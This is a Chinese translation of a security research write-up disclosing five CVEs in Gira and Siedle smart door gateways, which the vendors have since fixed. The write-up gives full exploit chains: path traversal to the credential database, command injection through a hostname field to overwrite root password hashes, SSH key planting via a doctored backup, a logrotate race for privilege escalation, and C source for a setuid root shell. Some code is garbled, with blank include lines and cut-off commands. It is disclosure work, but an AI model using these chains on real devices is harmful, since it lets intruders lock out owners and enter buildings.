导语:我们研究了网关系统,这些系统增加了门铃解决方案,使用户可以通过网络(甚至Internet)对其进行控制。对于其中两个分别由Siedle和Gira制造的产品,我们找到了开源的固件文件并开始进行漏洞挖掘。
对于许多攻击类型,需要物理访问计算机,例如插入“ Rubber Ducky”或插入物理键盘记录程序。由于通常限制对服务器和计算机的访问,因此通常通过“当攻击者已经进入房间时,无论如何我们都会被攻击”的角度来处理这些威胁向量。但是,如果相反的话怎么办?如果服务器,计算机和软件取决于物理安全性,但是物理安全性取决于计算机的安全性呢?对于所有不同类型的智能门锁,情况就是如此。我们研究了网关系统,这些系统增加了门铃解决方案,使用户可以通过网络(甚至Internet)对其进行控制。对于其中两个分别由Siedle和Gira制造的产品,我们找到了开源的固件文件并开始进行漏洞挖掘。
0x01 漏洞描述
我们在HITBAMS20的会议上进行了分享,并且我们打算将硬件带到现场演示。但是,由于Corona / COVID-19 疫情会议被取消了,我们仍然在线上会议上进行了演示。
https://www.youtube-nocookie.com/embed/krFHJx08dMo?start=18140
此外,我们将在此博客文章中详细介绍漏洞利用链和技术细节。稍后,我们录制的演示和演讲将在此处提供。
我们能够在两个设备及其各自的管理Web GUI上获得root用户访问权限。这使我们能够将受害者锁定在外面,并获得我们希望连接到受感染设备的物理访问权限。有关我们的利用链的更详细的技术说明,可以在后续文章中找到。
MITER总共向我们分配了五个CVE编号:
· CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7容易受到未经身份验证的路径遍历的攻击,从而使攻击者可以下载应用程序数据库。可以将其与CVE-2020-10795结合使用以进行远程root访问。
· CVE-2020-10795: Gira TKS-IP-Gateway 4.0.7.7易于通过Web前端的备份功能执行经过身份验证的远程代码执行。可以将其与CVE-2020-10794结合使用以进行远程root访问。
· CVE-2020-9473:1.2.4之前的S.Siedle&Soehne SG 150-0智能网关具有无密码ftp ssh用户。通过使用漏洞利用链,可以访问网络的攻击者可以在网关上获得root访问权限。
· CVE-2020-9474:1.2.4之前的S.Siedle&Soehne SG 150-0智能网关允许通过Web前端中的备份功能远程执行代码。通过使用漏洞利用链,可以访问网络的攻击者可以在网关上获得root访问权限。
· CVE-2020-9475:1.2.4之前的S.Siedle&Soehne SG 150-0智能网关允许通过logrotate中的竞争条件提升本地特权。通过使用漏洞利用链,可以访问网络的攻击者可以在网关上获得root访问权限。
我们联系了两家供应商,并告知他们我们的发现。到现在为止,我们发现的所有漏洞都不再对最新版本系统有效。Siedle甚至为我们提供了预发布的测试固件映像,因此我们可以检查所有漏洞是否在更新发布之前已修复。总体而言,我们对两家供应商的回应感到非常满意,因为这清楚地表明他们意识到了调查结果的重要性。两家供应商都立即按照自己的设置对其进行了验证,并专业地解决了这些问题。
0x02 Gira漏洞利用链
Gira TKS-IP-Gateway的主板
CVE-2020-10794:Gira TKS-IP-网关4.0.7.7中未经身份验证的路径遍历
当我们开始研究Gira TKS IP网关时,我们在Web界面中发现了路径遍历漏洞。使用此/app/db/gira.db文件,我们下载了文件。在此文件中,管理员密码为md5-hash,如果密码不是特别强的话,哈希很容易被破解。此外,我们下载了相同的/app/sdintern/messages文件。如果有人最近登录了该计算机,该文件将以纯文本格式生成密码。使用获得的凭据,我们能够登录到Web前端并重新配置设备或打开与该设备连接的后门。
CVE-2020-10795:Gira TKS-IP-网关4.0.7.7中身份验证的远程代码执行
现在我们已经在Web界面上获得了管理员特权,我们备份了gira.db。该备份是TAR文件,我们可以对其进行解压缩和修改:
sqlite3 backup/gira-V0101.db "UPDATE networksettings SET Name = 'tks-ip-gw/g -f /app/sdintern/segheg -i /etc/shadow -e s/foo/bar'"
上面的代码将sed命令放入数据库中。在sedheg我们修改的tar文件将取代密码哈希root和D3.IPGWvG,如下所示:
#!/bin/sh s/D3.IPGWvG!:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//D3.IPGWvG!:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/ s/root:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7\//root:$1$eV3NNo\/h$beH8VTIROWlVZKcrHvhu70/
两个用户要么都是root用户,要么可能已经成为sudo的root用户。准备好之后,我们再次打包修改后的文件。然后,我们通过还原功能将备份上传到Web界面。这触发了我们伪造的新网络设置(标记为“ ==>”),该设置是从修改后的sqlite数据库读取的。
[...] NETWORK=`/opt/lin/bin/sqlite3 /var/db/gira.db "select Id, Name, Nameserver, Dhcp, Gateway, Ip, Netmask from networksettings;"` [...] ==> HNAME=`echo $NETWORK | /usr/bin/awk -F"|" '{print $2}'`; NS=`echo $NETWORK | /usr/bin/awk -F"|" '{print $3}'`; BOOTMODE=`echo $NETWORK | /usr/bin/awk -F"|" '{print $4}'`; GW=`echo $NETWORK | /usr/bin/awk -F"|" '{print $5}'`; IPADDR=`echo $NETWORK | /usr/bin/awk -F"|" '{print $6}'`; NETMASK=`echo $NETWORK | /usr/bin/awk -F"|" '{print $7}'`;
然后,在的sed命令中使用了“ $ HNAME”变量/app/bin/network.sh。
echo "0" > /tmp/dhcp echo "nameserver 192.168.0.1" > /etc/resolv.conf echo -en "HOSTNAME: $HNAME" echo -en "" echo "$HNAME" > /etc/hostname ==> sed 's/'@NAME@'/'$HNAME'/g' /usr/local/etc/avahi/avahi-daemon.conf-tmpl > /usr/local/etc/avahi/avahi-daemon.conf
这样,我们将root密码更改为我们已知的密码。最后一步是登录到机器,为此我们需要dropbear ssh软件包。它是备用的ssh服务器,但是设备上存在的版本太旧,无法与现代的openssh客户端兼容。使用dbclient -p
https://player.vimeo.com/video/410960486
0x03 Siedle漏洞利用链
S. Siedle&SöhneSG 150-0智能网关
CVE-2020-9473:1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中空无密码FTP用户
对于Siedle SG-150,我们进入系统的入口是为ftp用户设置密码。这是可能的,因为固件不包含该用户的任何密码。通过ssh设置密码后,我们ssh -v -N ftp@
我们在公共固件中的一些shell脚本和配置文件中找到了该数据库的静态root密码“ siedle”。使用密码和转发的端口,我们可以使用命令以管理特权访问数据库mysql -h 127.0.0.1 -u root -P 1337 -psiedle。
该数据库具有不同的目的,一个目的是存储用于Web应用程序管理设备的凭据。通过对数据库具有root用户访问权限,我们可以为Web应用程序添加具有管理员特权的另一个用户。现在,我们可以控制和重新配置连接到网关的每个设备,这使我们能够进行连接。
CVE-2020-9474:1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中的经过身份验证的远程代码执行
这将使我们获得Shell访问权限。从Web应用程序,我们能够下载配置备份config.bak文件。这是一个squashfs,一旦解压缩,其中包含一个backup.sql文件。我们生成了一个ssh密钥,并将以下四行添加到backup.sql文件的顶部:
\! mkdir /var/lib/mysql/.ssh \! echo >> /var/lib/sql/.ssh/authorized_keys \! chmod 0700 /var/lib/mysql/.ssh \! chmod 0600 /var/lib/mysql/.ssh/authorized_keys
然后,我们重建了squashfs并将其作为备份上传到Web应用程序,该文件用于还原过程。等待几分钟的恢复过程完成后,我们便以SSH用户的私钥通过ssh访问了该设备,因为运行了受操纵文件中的所有命令,~/.ssh/authorized_keys并创建了mysql用户的文件。
CVE-2020-9475:版本1.2.4之前的S.Siedle&Soehne SG 150-0 Smart Gateway中的本地特权升级
为了提升特权,我们在logrotate脚本中使用了错误的配置。此外,我们编写了三个小程序,即bind,symlink和root。源代码将在本文的附录中。由于已经具有shell程序访问权限,因此我们对ARM程序进行了交叉编译,并将其复制到设备中。 我们想触发MySQL logrotate脚本的以下部分:
MYADMIN="/usr/bin/mysqladmin --user=root --password=$MYSQL_ROOT_PW" $MYADMIN ping &> /dev/null if [ $? -eq 0 ]; then $MYADMIN flush-logs else # manually move it, to mimic above behaviour mv -f /var/log/mysql/mysql.log /var/log/mysql/mysql.log-old # recreate mysql.log, else logrotate would miss it touch /var/log/mysql/mysql.log chown mysql.mysql /var/log/mysql/mysql.log chmod 0664 /var/log/mysql/mysql.log fi
要触发这部分代码,我们需要确保mysqladmin ping返回的状态码不是零。如果mysql服务器未运行,则只有这种情况。更改凭据甚至删除整个数据库都无济于事,因为mysqladmin仍会返回零,我们需要数据库不可用。但是由于如果你关闭它,它只会重新启动,所以我们需要将其挂载出来。这是第一个利用程序进入的地方:bind。我们使用它来将自身绑定到mysql数据库正在使用的静态端口:
while true; do ./bind 63601; sleep 1; done
在第二个终端中,我们关闭数据库,然后在启动时尝试将自身绑定到其端口时将挂起。因为mysql会在关机和启动之间释放端口,所以我们可以在它们之间进行竞争并使用我们的程序阻止该端口。这种方式mysqladmin返回了一个,我们必须执行else条件。
然后,我们需要第二个程序:symlink。现在的目标是在其中创建一个/etc/logrotate.d/我们可以控制和写入的文件,因为logrotate将以root用户身份执行该目录中的所有脚本。为了达到目的执行logrotate脚本,用于清理MySQL的日志文件,并设法从/var/log/mysql/mysql.log创建符号链接到之间mv和touch的/etc/logrotate.d/rootme。Rootme当时不存在,但这并不重要。按照符号链接,logrotate /etc/logrotate.d/rootme以root身份创建文件,然后将chown其提供给mysql用户。为了阻止mysql写入我们准备的文件,我们删除了symlink并/var/log/mysql/mysql.log为其创建了一个新文件。之后,我们将/etc/logrotate.de/rootme用以下内容填充:
/var/log/mysql/rootme.log { delaycompress nosharedscripts copy firstaction chown root:root /tmp/root chmod +s /tmp/root mv -f /var/log/mysql/rootme.log /var/log/mysql/rootme.log-old touch /var/log/mysql/rootme.log chown mysql.mysql /var/log/mysql/rootme.log chmod 0664 /var/log/mysql/rootme.log fi endscript lastaction mv -f /var/log/mysql/rootme.log-old /var/log/mysql/rootme.log.1 endscript }
程序/tmp/root是我们的第三个程序和suidrootshell。完成所有操作后,我们必须填充/var/log/mysql/rootme.log并再次触发logrotate。现在,我们的suid二进制文件具有root特权,可以通过以下方式使用:/tmp/root passwd root。现在,我们可以更改root用户的密码,从现在起就可以完全控制系统了。
https://player.vimeo.com/video/410961877
0x04 代码片段
bind.c
#include #include #include #include #include #include #include void error(const char *msg) { perror(msg); exit(1); } int main(int argc, char **argv) { int sockfd, newsockfd, portno, pid; socklen_t clilen; struct sockaddr_in serv_addr, cli_addr; if (argc < 2) { fprintf(stderr,"ERROR, no port provided\n"); exit(1); } sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) error("ERROR opening socket"); bzero((char *) &serv_addr, sizeof(serv_addr)); portno = atoi(argv[1]); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(portno); if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) error("ERROR on binding"); listen(sockfd,5); accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); return 0; }
symlink.c
#include int main(int argc, char **argv) { int ret; char *watchPath = argv[1]; char *linkPath = argv[2]; while(1) { ret = symlink(linkPath, watchPath); if (ret == 0) return 0; } return 0; }
root.c
#include #include #include #include #include char *join_command(char **commands) { char *res = (char *)malloc(strlen(commands[0])); strncpy(res, commands[0], strlen(commands[0])); for (char **command = ++commands; *command != NULL; command++) { res = (char *)realloc(res, strlen(res) + strlen(*command) + 2); strcat(res, " "); strcat(res, *command); } return res; } int main(int argc, char **argv) { if (argc < 2) { printf("usage: ./root "); } setuid(0); setgid(0); system(join_command(++argv)); return 0; }
本文翻译自:https://research.hisolutions.com/2020/04/open-the-gates-insecurity-of-cloudless-smart-door-systems/如若转载,请注明原文地址